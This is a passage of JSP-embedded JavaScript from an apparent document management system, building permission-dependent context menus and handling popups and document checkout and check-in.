        if (documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" || documentType == "<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetType != "<%=DmsDocument.FOLDER_TYPE%>") {
            if (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>" || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetDocItemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>")) {
                if ( (permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) {
                    sectionFour += '<li onclick=\'closeContextMenu();'+opFullTextViewer+'\'>';
                    sectionFour += '<a href="#"><span class=\''+cssFullTextViewer+'\'><bean:message key='dms.label.fulltext_viewer'/></span></a>';
                    sectionFour += '</li>';
                }else{
                    sectionFour += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.fulltext_viewer'/></span></a></li>';
                }
            }else{
                sectionFour += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.fulltext_viewer'/></span></a></li>';
            }
            if (GetFileExtension(documentName).toLowerCase() == "zip") {
                if ( (permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) {
                    sectionFour += '<li onclick=\'closeContextMenu();'+opZipViewer+'\'>';
                    sectionFour += '<a href="#"><span class=\''+cssZipViewer+'\'><bean:message key='dms.label.zip_viewer'/></span></a>';
                    sectionFour += '</li>';
                }else{
                    sectionFour += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.zip_viewer'/></span></a></li>';
                }
            } else if (GetFileExtension(documentName).toLowerCase() == "tif" || GetFileExtension(documentName).toLowerCase() == "tiff") {
                if ( (permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) {
                    sectionFour += '<li onclick=\'closeContextMenu();'+opTifViewer+'\'>';
                    sectionFour += '<a href="#"><span class=\''+cssTifViewer+'\'><bean:message key='dms.label.tif_viewer'/></span></a>';
                    sectionFour += '</li>';
                }else{
                    sectionFour += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.tif_viewer'/></span></a></li>';
                }
            }
        }
    }
    
    if (sectionFour && sectionFour != "") {    	
	    secondColumn += sectionFour;
	    secondColumn += '<div class="contextMenuSeparator"></div>';
    }
    
    // Start set alert
    if (((g_curr_function_code == "<%=SystemFunctionConstant.DMS_PUBLIC_FOLDER%>")||(permission!="PERSONAL")) && (permission!="REFERENCE_FILE")) {
      if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
        if ( ((permission!="PERSONAL") && (sPermission.indexOf("A")>=0))) {
            sectionFive += '<li onclick=\'closeContextMenu();'+opAlert+'\'>';
            sectionFive += '<a href="#"><span class=\''+cssAlert+'\'><bean:message key='dms.label.set_alert'/></span></a>';
            sectionFive += '</li>';
        } else{
            sectionFive += '<li><a href="#"><span class=\'setAlertDisabled\'><bean:message key='dms.label.set_alert'/></span></a></li>';
        }
      } else {
        if (targetRootType == "<%=DmsRoot.PUBLIC_ROOT%>") {
          if (targetPermission.indexOf("A")>=0 ) {
            sectionFive += '<li onclick=\'closeContextMenu();'+opAlert+'\'>';
            sectionFive += '<a href="#"><span class=\''+cssAlert+'\'><bean:message key='dms.label.set_alert'/></span></a>';
            sectionFive += '</li>';
          } else {
            sectionFive += '<li><a href="#"><span class=\'setAlertDisabled\'><bean:message key='dms.label.set_alert'/></span></a></li>';
          }
        }
      }
    }
    // End set alert

    if(targetType!="<%=DmsDocument.PAPER_DOC_TYPE%>"){
        if(permission!="REFERENCE_FILE"){
            // Start invitation
            if (documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" ||documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FORM_DOC_TYPE%>" || documentType=="<%=DmsDocument.FLOW_DOC_TYPE%>" || documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetType != "<%=DmsDocument.FOLDER_TYPE%>") {
                if ( (permission=="PERSONAL") || (sPermission.indexOf("V")>=0) ) {
                    sectionFive += '<li onclick=\'closeContextMenu();'+opInvitation+'\'>';
                    sectionFive += '<a href="#"><span class=\''+cssInvitation+'\'><bean:message key='dms.label.invitation'/></span></a>';
                    sectionFive += '</li>';
                }else{
                    sectionFive += '<li><a href="#"><span class=\'inviteUserDisabled\'><bean:message key='dms.label.invitation'/></span></a></li>';
                }
            }
            // End invitation

            // Start send external email
            <%if(supportEmail){%>
            if (documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" || documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>") {
                if ( (permission=="PERSONAL") || (sPermission.indexOf("L")>=0) ) {
                    sectionFive += '<li onclick=\'closeContextMenu();'+opSendEmail+'\'>';
                    sectionFive += '<a href="#"><span class=\''+cssSendEmail+'\'><bean:message key='dms.label.send_email'/></span></a>';
                    sectionFive += '</li>';
                }else{
                    sectionFive += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.send_email'/></span></a></li>';
                }
            }
            <%}%>
            // End send external email
        }
    }
    
    // Discussion Section Begin.
    if(permission!="REFERENCE_FILE"){
        // Discussion section
        if ( (permission!="PERSONAL") ) {
            if ( (sPermission.indexOf("U")>=0)){
                sectionFive += '<li onclick=\'closeContextMenu();'+opDiscussion+'\'>';
                sectionFive += '<a href="#"><span class=\''+cssDiscussion+'\'><bean:message key='dms.label.discussion'/></span></a>';
                sectionFive += '</li>';
            }else{
                sectionFive += '<li><a href="#"><span class=\'discussDisabled\'><bean:message key='dms.label.discussion'/></span></a></li>';
            }
        }
	}
	// Discussion Section End.
	
	if (sectionFive && sectionFive != "") {
	    secondColumn += sectionFive;
	    secondColumn += '<div class="contextMenuSeparator"></div>';
	}
    
    if(permission!="REFERENCE_FILE"){
      // Audit trail section.  
      if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
        if (permission!="PERSONAL" && targetParentDocType != "<%=DmsDocument.COMPOUND_DOC_TYPE%>" )  {
            if ( (permission=="PERSONAL") || (sPermission.indexOf("B")>=0) ) {
                sectionSix += '<li onclick=\'closeContextMenu();'+opAuditTrail+'\'>';
                sectionSix += '<a href="#"><span class=\''+cssAuditTrail+'\'><bean:message key='dms.label.audit_trail'/></span></a>';
                sectionSix += '</li>';
            } else {
                sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.audit_trail'/></span></a></li>';
            }
        }
      } else {
        if (targetRootType == "<%=DmsRoot.PUBLIC_ROOT%>") {
            if ( (permission=="PERSONAL") || (sPermission.indexOf("B")>=0) ) {
                sectionSix += '<li onclick=\'closeContextMenu();'+opAuditTrail+'\'>';
                sectionSix += '<a href="#"><span class=\''+cssAuditTrail+'\'><bean:message key='dms.label.audit_trail'/></span></a>';
                sectionSix += '</li>';
            } else {
                sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.audit_trail'/></span></a></li>';
            }
        }
      }
    }
    
    // Start edit index
    if ( documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetDocItemStatus != "<%=DmsVersion.AVAILABLE_STATUS%>") {
      sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.edit_index'/></span></a></li>';
    } else {
      if ( ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission!="PERSONAL")) || (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission=="PERSONAL") || ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))|| ((itemStatus == "I")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))||(permission=="REFERENCE_FILE")) {
        if ( (permission=="PERSONAL") || (sPermission.indexOf("E")>=0) ) {
          sectionSix += '<li onclick=\'closeContextMenu();'+opEdit+'\'>';
          sectionSix += '<a href="#"><span class=\''+cssEdit+'\'><bean:message key='dms.label.edit_index'/></span></a>';
          sectionSix += '</li>';
        } else {
          sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.edit_index'/></span></a></li>';
        }
      } else {
        //disabled section display
        if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>") || (documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>") || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FORM_DOC_TYPE%>" || documentType=="<%=DmsDocument.FLOW_DOC_TYPE%>" || documentType=="<%=DmsDocument.FOLDER_TYPE%>") {
          sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.edit_index'/></span></a></li>';
        }
      }
    }
    // End edit index

    // Start create relationship
    if(permission!="REFERENCE_FILE"){
        if (documentType!="<%=DmsDocument.FOLDER_TYPE%>" && targetDocType!="<%=DmsDocument.FOLDER_TYPE%>") {
            if ((permission=="PERSONAL") || (sPermission.indexOf("H")>=0)) {
                sectionSix += '<li onclick=\'closeContextMenu();'+opNewDocRelation+'\'>';
                sectionSix += '<a href="#"><span class=\''+cssNewDocRelation+'\'><bean:message key='dms.label.document_relationship'/></span></a>';
                sectionSix += '</li>';
            } else {
                sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.document_relationship'/></span></a></li>';
            }
        }
    }
    // End create relationship


    // Start edit compound document list
    if(documentType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType=="<%=DmsDocument.PAPER_DOC_TYPE%>" || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FORM_DOC_TYPE%>" || documentType=="<%=DmsDocument.FLOW_DOC_TYPE%>" || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && (targetDocType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || targetDocType=="<%=DmsDocument.PAPER_DOC_TYPE%>" || targetDocType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || targetDocType=="<%=DmsDocument.FORM_DOC_TYPE%>" || targetDocType=="<%=DmsDocument.FLOW_DOC_TYPE%>"))){
        if ( (permission=="PERSONAL") || (sPermission.indexOf("E")>=0) ) {
            sectionSix += '<li onclick=\'closeContextMenu();'+opEditDocList+'\'>';
            sectionSix += '<a href="#"><span class=\''+cssEditDocList+'\'><bean:message key='dms.label.edit_doc_list'/></span></a>';
            sectionSix += '</li>';
        } else {
            sectionSix += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.edit_doc_list'/></span></a></li>';
        }
    }
    // End edit compound document list

    // Convert to compound document
    <%if(permissionManager.hasAccessRight("DMS_COMPOUND_DOCUMENT","I")){%>
        if((permission!="REFERENCE_FILE") && (directURL!="ViewDmsCompoundDocument")){
            if( (documentType=="<%=DmsDocument.DOCUMENT_TYPE%>" || documentType=="<%=DmsDocument.PAPER_DOC_TYPE%>" || targetDocType=="<%=DmsDocument.DOCUMENT_TYPE%>" || targetDocType=="<%=DmsDocument.PAPER_DOC_TYPE%>" ) && targetParentDocType != "<%=DmsDocument.COMPOUND_DOC_TYPE%>"){
                if ( ((permission=="PERSONAL") || (sPermission.indexOf("T")>=0)) &&
                        (parentDocType!="<%=DmsDocument.PAPER_DOC_TYPE%>" && parentDocType!="<%=DmsDocument.EMAIL_DOC_TYPE%>"&& parentDocType!="<%=DmsDocument.COMPOUND_DOC_TYPE%>") ) {
                    sectionSix += '<li onclick=\'closeContextMenu();'+opConvertToCompoundDoc+'\'>';
                    sectionSix += '<a href="#"><span class=\''+cssConvertToCompoundDoc+'\'><bean:message key='dms.label.compound_doc'/></span></a>';
                    sectionSix += '</li>';
                }else{
                    sectionSix +='<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.compound_doc'/></span></a></li>'
                }
            }
        }
    <%}%>
    // End convert to compound document

    // Start Permission Section.
    if(permission!="REFERENCE_FILE"){
      if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
        if (permission!="PERSONAL") {
            if ( (permission=="PERSONAL") || (sPermission.indexOf("S")>=0)) {
                sectionSix += '<li onclick=\'closeContextMenu();'+opPermission+'\'>';
                sectionSix += '<a href="#"><span class=\''+cssPermission+'\'><bean:message key='dms.label.access_control'/></span></a>';
                sectionSix += '</li>';
            } else {
                sectionSix += '<li><a href="#"><span class=\'setAccessRightDisabled\'><bean:message key='dms.label.access_control'/></span></a></li>';
            }
        }
      } else {
        if (targetRootType == "<%=DmsRoot.PUBLIC_ROOT%>") {
          if (permission!="PERSONAL") {
              if ( (permission=="PERSONAL") || (sPermission.indexOf("S")>=0)) {
                  sectionSix += '<li onclick=\'closeContextMenu();'+opPermission+'\'>';
                  sectionSix += '<a href="#"><span class=\''+cssPermission+'\'><bean:message key='dms.label.access_control'/></span></a>';
                  sectionSix += '</li>';
              } else {
                  sectionSix += '<li><a href="#"><span class=\'setAccessRightDisabled\'><bean:message key='dms.label.access_control'/></span></a></li>';
              }
          }
        }
      }
    }
    // End Permission Section
    
    if (sectionSix && sectionSix != "") {
    	secondColumn += sectionSix;
    }
    
    secondColumn += postBuildDocumentContextMenu(documentID,permission,sPermission);
    secondColumn += '</ul>';
    
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    // Second Column Menu End.
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    contextMenuContent += secondColumn;
    contextMenuContent += '</div></div></div>';

    return(contextMenuContent);
}

/*
 * Search box and the given search panel, just keep one effective.
 */
function toggleSearchBox(searchPanelName) {
	var searchPanel = FindObj(searchPanelName);
	var searchBox = FindObj("searchBoxSection");
	var keywordSearchForm;
	
	for (var i = 0; i < document.forms.length; i++) {
		if (document.forms[i].name != "") {
			keywordSearchForm = document.forms[i];
			break;
		}
	}
	
	if (!searchPanel || !searchBox || !keywordSearchForm || !(keywordSearchForm.globalSearch)) {
		return;
	}
	
	if (searchPanel.style.display == "none") {
		searchBox.style.display = "block";
		keywordSearchForm.globalSearch.value = true;
	} else {
		searchBox.style.display = "none";
		keywordSearchForm.globalSearch.value = false;
	}
}

function popupOpenLink(docID) {
  var url = "<%= request.getContextPath() %>/jsp/dms/OpenDocLink.jsp?documentID=" + docID;
  var name = "DCIVisionOpenDocLink";
  var popW = "700";
  var popH = "170";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  cClick();
}

// Popup the invitation
function popupInvitation(docID, actionType , isReload){
  try {
  	if (!actionType) {
  		actionType = "S";
  	}
  	var popupPaneWidth = GlobalVariable.getWindowAvailWidth() * 0.8 + "px";
  	var popupPaneHeight = GlobalVariable.getWindowAvailHeight() * 0.9 + "px";
  	var url = "";
  	if (isReload != null && isReload == 'false'){
    	url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=" + actionType + "&documentID=" + docID + "&isReload=false";
  	} else {
  		url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=" + actionType + "&documentID=" + docID;
  	}
    var ni = "<iframe id='ifram1' width='" + popupPaneWidth + "' height='" + popupPaneHeight + "' src='" + url + "' frameborder='0' border='0' marginheight='0' marginwidth='0'></iframe>";
    frameRemoteDlg.setContent(ni);
    frameRemoteDlg.show();
  } catch(e) {
    alert(e);
  }
  return false;
}

// Popup the for sending email.
function popupSendEmail(docID) {
  var url = "<%= request.getContextPath() %>/dms/DmsSendEmail.do?version=TOP&documentID=" + docID;
  var name = "DCIVisionSendEmailBox";
  var popW = "780";
  var popH = "500";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  cClick();
}

// Popup the zip file viewer.
function popupZipViewer(docID) {
  var url = "<%= request.getContextPath() %>/dms/ZipViewer.do?version=TOP&documentID=" + docID;
  var name = "DCIVisionZipViewer";
  var popW = "780";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  cClick();
}

// Popup the tif file viewer.
function popupTifViewer(docID) {
  var isBizSoft_tiff_Viewer = <%=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_BIZSOFT_TIFF_VIEWER)%>;
  var url;
  if(isBizSoft_tiff_Viewer==true){
   url = "<%= request.getContextPath() %>/dms/MaintDmsTiffVierwerAction.do?isFirstView=Y&version=TOP&documentID=" + docID;
  }else{
   url = "<%= request.getContextPath() %>/dms/TifViewer.do?isFirstView=Y&version=TOP&documentID=" + docID;
  }
  var name = "DCIVisionTifViewer";
  var popW = 780;
  var popH = 600;
  var feature = "status=no,menubar=no,scrollbars=auto,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  cClick();
}

// Popup the full text viewer
function popupFullTextViewer(docID) {
  var url = "<%= request.getContextPath() %>/dms/MaintDmsFullTextViewer.do?documentID=" + docID;
  var name = "DCIVisionFullTextViewer";
  var popW = "780";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  cClick();
}

// Popup the location finder window.
function popupLocationFinder(frm) {
  var url = "<%= request.getContextPath() %>/dms/FindLocation.do";
  var name = "DCIVisionFindDocumentLocation";
  var popW = "200";
  var popH = "100";
  var feature = "scrollbars=yes";
  OpenCenteredPopup("<%= request.getContextPath() %>/jsp/common/Waiting.jsp", name, popW, popH, feature);

  var oriAction = frm.action;
  frm.action = url;
  frm.target = "DCIVisionFindDocumentLocation";
  frm.submit();
  frm.action = oriAction;
  frm.target = "";
}

// Check whether the old extension is same as the new extension.
function CheckExtensionInconsistent(oldFilename, newFilename){
  var oldExt = GetFileExtension(oldFilename).toLowerCase();
  var newExt = GetFileExtension(newFilename).toLowerCase();

  if (oldExt != newExt) {
    return(true);
  }
  return(false);
}

// For selecting muliple dms document
function popupDocumentSelectionPanel(rootID, parentID, displayField, hiddenField) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var selectedDoc = eval("frm."+hiddenField+".value");
  var url = "<%= request.getContextPath() %>" + "/dms/ListDmsSelectMultiple.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField + "&hiddenFieldName=" + hiddenField + "&selectedDoc=" + encodeURIComponent(selectedDoc);
  var name = "DCIVisionPopupDmsSelectPanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

// For selecting single dms document
function popupSingleDocumentSelectionPanel(rootID, parentID, displayField, hiddenField) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var selectedDoc = eval("frm."+hiddenField+".value");
  var url = "<%= request.getContextPath() %>" + "/dms/ListDmsSelectSingle.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField + "&hiddenFieldName=" + hiddenField + "&selectedDoc=" + encodeURIComponent(selectedDoc);
  if(frm.onlyPublic){
  	url += "&onlyPublic=" + frm.onlyPublic.value;
  }
  var name = "DCIVisionPopupDmsSelectSinglePanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}


// For selecting dms folder
function popupFolderSelectionPanel(rootID, parentID, displayField, hiddenRootIDField, hiddenParentIDField, refreshCopyMove, allowCompoundDoc,allowPaperDoc,allowReset,isMyFavorite,arrayIndex,allowEmailDoc,allowFormDoc,allowFlowDoc, ID,allowPublicRule, profileID, returnTo,ruleType,allowPersonalOnly,allowPublicOnly) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (refreshCopyMove!='' && refreshCopyMove!=null) {
    //specfic path for the move/copy page to reload the workflow table
    url = "<%= request.getContextPath() %>" + "/dms/ListDmsFolderSelect.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField + "&hiddenRootIDFieldName=" + hiddenRootIDField + "&hiddenParentIDFieldName=" + hiddenParentIDField+"&refreshCopyMove=" + refreshCopyMove+"&allowCompoundDoc="+allowCompoundDoc+"&allowPaperDoc="+allowPaperDoc+"&allowReset="+allowReset+"&isMyFavorite="+isMyFavorite+"&arrayIndex="+arrayIndex+"&allowEmailDoc="+allowEmailDoc+"&allowFormDoc="+allowFormDoc+"&allowFlowDoc="+allowFlowDoc+"&allowPublicRule="+allowPublicRule+"&ruleType="+ruleType+"&allowPersonalOnly="+allowPersonalOnly+"&allowPublicOnly="+allowPublicOnly;
  } else {
    url = "<%= request.getContextPath() %>" + "/dms/ListDmsFolderSelect.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField + "&hiddenRootIDFieldName=" + hiddenRootIDField + "&hiddenParentIDFieldName=" + hiddenParentIDField+"&allowCompoundDoc="+allowCompoundDoc+"&allowPaperDoc="+allowPaperDoc+"&allowReset="+allowReset+"&isMyFavorite="+isMyFavorite+"&arrayIndex="+arrayIndex+"&allowEmailDoc="+allowEmailDoc+"&allowFormDoc="+allowFormDoc+"&allowFlowDoc="+allowFlowDoc+"&allowPublicRule="+allowPublicRule+"&ID="+ID + "&profileID="+profileID+"&returnTo="+returnTo+"&ruleType="+ruleType+"&allowPersonalOnly="+allowPersonalOnly+"&allowPublicOnly="+allowPublicOnly;
  }

  var name = "DCIVisionPopupDmsFolderSelectPanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

// For showing the "New" menu layer.
function showNewObjectMenu() {
  MoveLayerTo("NewObjectMenuLayer", GetImagePageLeft("MenuButtonNew") - 1, GetImagePageTop("MenuButtonNew") + FindObj("listBar").offsetHeight);

  if (GetDivVisibility("NewObjectMenuLayer") == "visible") {
    HideDiv("NewObjectMenuLayer");
    if (GlobalVariable.ie && !GlobalVariable.ie7) {
        cancelSelectMask("NewObjectMenuLayer");
    }
  } else {
    ShowDiv("NewObjectMenuLayer");
    if (GlobalVariable.ie && !GlobalVariable.ie7) {
        performSelectMask("NewObjectMenuLayer");
    }
  }
}

/**
 * For well-known IE bug, div cannt cover the select element,
 * place one iframe under the div which want to cover the select element
 * in order to perform the conver purpose.
 */
function performSelectMask(layerName) {
  var targetLayer = FindObj(layerName);
  var selectMasker = document.createElement("iframe");
  selectMasker.id = layerName + "-masker";
  selectMasker.style.position = "absolute";
  selectMasker.style.margin = 0;
  selectMasker.style.padding = 0;
  selectMasker.style.zIndex = "1000";
  selectMasker.style.width = targetLayer.clientWidth;
  selectMasker.style.height = targetLayer.clientHeight;
  selectMasker.style.top = targetLayer.offsetTop;
  selectMasker.style.left = targetLayer.offsetLeft;

  targetLayer.style.zIndex = "1001"; // Make sure the target layer is upon the masker.
  document.body.appendChild(selectMasker);
}

function cancelSelectMask(layerName) {
  if (FindObj(layerName + "-masker")) {
    document.body.removeChild(FindObj(layerName + "-masker"));
  }
}

//Add By Jim Zhou           2006/12/07           EIP-1052   For document checkout
function dwrCheckout(documentID,curFunctionCode){
    DmsDocumentCheckoutFacade.checkoutRecord(documentID,curFunctionCode,{callback:function(data){eval('checkoutRevert(data,\"" + documentID + "\")');},errorHandler:function(message){eval('timeOutError(message)');},timeout:20000});
}

function checkoutRevert(data,documentID) {
    if (data == "Y"){
        var url = '<%=request.getContextPath()%>/jsp/dms/ComfirmDownload.jsp?targetID=' + documentID + '&version=TOP&isDownload=Y';
        var ni = "<iframe id='downloadIframe' width='300' height='148' src='" + url + "' frameborder='0' border='0' marginheight='0' marginwidth='0'></iframe>";
        frameRemoteDlg.setContent(ni);
        frameRemoteDlg.show();
    
    } else if (data == "N"){
        alert("<bean:message key='errors.dms.duplicate_file_checkout' />");
    } else if (data == "<bean:message key='errors.dms.duplicate_file_checkout' />" ||
            data == "<bean:message key='errors.framework.scheduler_error' />" ) {
        alert(data);
    } else {
        //Add By Jim Zhou               2007/01/10                  EIP-1292
        alert(data);
        refreshWindow();
        //Add End
    }
}

function refreshWindow(){
    //if (window.document.readyState=="complete") {
        var frm = null;
        for (var i = 0; i < window.document.forms.length; i++) {
            if (window.document.forms[i].name != "") {
                frm = window.document.forms[i];
                break;
            }
        }
        // for advance search module
        if (frm && frm.name == "editSearchDmsDocumentForm") {
            for (var i = 0; i < window.document.forms.length; i++) {
                if (window.document.forms[i].name != "") {
                    frm = window.document.forms[i];
                    if ((frm.advSearchOpt.value == "DMS.ATTR_SEARCH" && frm.name == "searchDmsDocumentForm") ||
                            (frm.advSearchOpt.value == "DMS.ATTR_BULK_SEARCH" && frm.name == "bulkSearchDmsDocumentForm") ||
                            (frm.advSearchOpt.value == "MS.ATTR_KEYWORD_SEARCH" && frm.name == "keySearchDmsDocumentForm")
                             ) {
                        break;
                    }
                }
            }
        }
        // for opened window clipboard
        if (frm && frm.name == "listDmsClipboardForm"){
            if (window.opener) {
                var oWindow = window.opener;
                var ofrm = null;
                for (var i = 0; i < oWindow.document.forms.length; i++) {
                    if (oWindow.document.forms[i].name != "") {
                        ofrm = oWindow.document.forms[i];
                        break;
                    }
                }
                if (ofrm != null) {
                    ofrm.submit();
                } else {
                    oWindow.location.reload();
                }
            }
        }
        if (frm != null) {
            frm.submit();
        } else {
            window.location.reload();
        }
    //} else {

    //}
}
//Add End

// For document checkout
function OpCheckout(documentID, parentID, rootID, curFunctionCode, navMode) {
    loadingTo();
    DmsDocumentCheckoutFacade.checkoutRecord(documentID,curFunctionCode,{callback:function(data){eval('checkoutRevert(data,\"" + documentID + "\")');},errorHandler:function(message){eval('timeOutError(message)');},timeout:1});

}

// For document checkin
function OpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (lockUserID != curUserID) {
    alert("<bean:message key='errors.dms.checkin_identity_mismatch'/>");
    return false;
  }
  if (confirm("<bean:message key='dms.message.confirm_records_checked_in'/>")) {
    var checkinDirectPage = navMode;

    if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_PERSONAL_FOLDER%>"){
       if(curFunctionCode!=null){
         if(curFunctionCode=="SearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_SEARCH%>";
         }else if(curFunctionCode=="SearchKeywordDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_KEYWORD_SEARCH%>";
         }else if(curFunctionCode=="BulkSearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_BULK_SEARCH%>";
         }else{
           checkinDirectPage = "<%=DmsOperationConstant.LIST_PERSONAL_PAGE%>";
         }
       }else{
         checkinDirectPage = "<%=DmsOperationConstant.LIST_PERSONAL_PAGE%>";
       }
    } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_PUBLIC_FOLDER%>"){
       if(curFunctionCode!=null){
         if(curFunctionCode=="SearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_SEARCH%>";
         }else if(curFunctionCode=="SearchKeywordDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_KEYWORD_SEARCH%>";
         }else if(curFunctionCode=="BulkSearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_BULK_SEARCH%>";
         }else{
           checkinDirectPage = "<%=DmsOperationConstant.LIST_PUBLIC_PAGE%>";
         }
       }else{
         checkinDirectPage = "<%=DmsOperationConstant.LIST_PUBLIC_PAGE%>";
       }
    } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_EMPTY_FILE%>"){
       checkinDirectPage = "<%=DmsOperationConstant.LIST_EMPTY_DOCUMENT%>";
    } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>"){
       if(navMode=="<%=GlobalConstant.NAV_MODE_VIEW%>"){
         checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
       }else{
         checkinDirectPage = "<%=DmsOperationConstant.LIST_COMPOUND_DOCUMENT%>";
       }
    } else if (g_curr_function_code=="null" ||g_curr_function_code=="" || g_curr_function_code==null || g_curr_function_code=="<%=DmsOperationConstant.LIST_PERSONAL_HOME%>"){
       checkinDirectpage="<%=DmsOperationConstant.FORWARD_HOME_PAGE%>";
    }

    if (navMode == "<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>"){
       checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
    }

    frm.opMode.value="<%=DmsOperationConstant.CHECKOUT_CHECK%>";
    frm.navMode.value=navMode;
    frm.parentID.value=parentID;
    frm.rootID.value=rootID;
    frm.action="<%= request.getContextPath() %>/dms/MaintDmsCheckout.do?documentID="+documentID+"&curFunctionCode="+curFunctionCode+"&directPage="+checkinDirectPage;
    if(frm.name=="listPersonalHomeForm"){
      frm.documentID.value=documentID;
      frm.directPage.value=checkinDirectpage;
    }
    frm.submit();
  }
  return false;
}

// For document iconcheckin
